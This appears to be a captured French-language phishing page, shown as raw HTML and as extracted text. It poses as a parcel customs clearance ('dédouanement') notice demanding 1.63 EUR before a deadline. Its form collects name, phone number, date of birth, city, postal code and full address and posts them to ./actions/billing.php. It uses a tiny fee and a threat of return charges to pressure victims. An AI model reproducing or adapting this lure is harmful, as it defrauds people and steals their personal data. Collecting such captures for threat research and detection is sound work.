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POST ./actions/billing.php

<form method="post" action="./actions/billing.php">
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    <section>
      <h1>Paiement de livraison<br>Dédouanement</h1>
      <div class="red-label">1.63€ à payer avant le 05-08-2024</div>
    </section>
  </main>
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    <h2>Dédouanement du colis n°FH45878ZX1</h2>
    <p style="color: rgba(0,0,0,0.8);margin-top: 7px;">Votre colis est soumis à un dédouanement.</p>
    <b style="font-weight: 600;">Montant à payer : 1,63 EUR</b>
    <p></p>
    <p style="color: rgba(0,0,0,0.8);margin-top: 7px;">Veuillez régler les frais de douane avant le 05-08-2024. En cas d'absence de paiement, votre colis sera retourné à l'expéditeur et des frais pourront être appliqués.</p>
    <p></p>
    <p>Veuillez vérifier attentivement vos coordonnées pour vous assurer qu'il n'y ai pas d'erreur dans la livraison. En cas d'erreur, des frais de reprogrammation de livraison seront appliqués.</p>
    <div style="height: 1px; background: #ced4da; width: 100%; margin: 32px 0px;"></div>
    <b style="font-weight: 500;">Renseignements personnels</b>
    <br><br>
    <div id="input-container">
      <label>Nom et Prénom:</label>
      <span class="material-symbols-outlined">badge</span>
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      <label>Numéro de téléphone:</label>
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      <label>Date de naissance:</label>
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      <label>Adresse complète:</label>
      <span class="material-symbols-outlined"> home </span>
      <input minlength="5" type="text" id="address" name="address" required="">
    </div>
    <br>
    <button>Valider mes informations</button>
  </div>
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Text Content

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 * Déménagement
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PAIEMENT DE LIVRAISON
DÉDOUANEMENT

1.63€ à payer avant le 05-08-2024


DÉDOUANEMENT DU COLIS N°FH45878ZX1

Votre colis est soumis à un dédouanement.

Montant à payer : 1,63 EUR



Veuillez régler les frais de douane avant le 05-08-2024. En cas d'absence de
paiement, votre colis sera retourné à l'expéditeur et des frais pourront être
appliqués.



Veuillez vérifier attentivement vos coordonnées pour vous assurer qu'il n'y ai
pas d'erreur dans la livraison. En cas d'erreur, des frais de reprogrammation de
livraison seront appliqués.


Renseignements personnels


Nom et Prénom: badge
Numéro de téléphone: call
Date de naissance: date_range
Ville: apartment
Code postal: location_on
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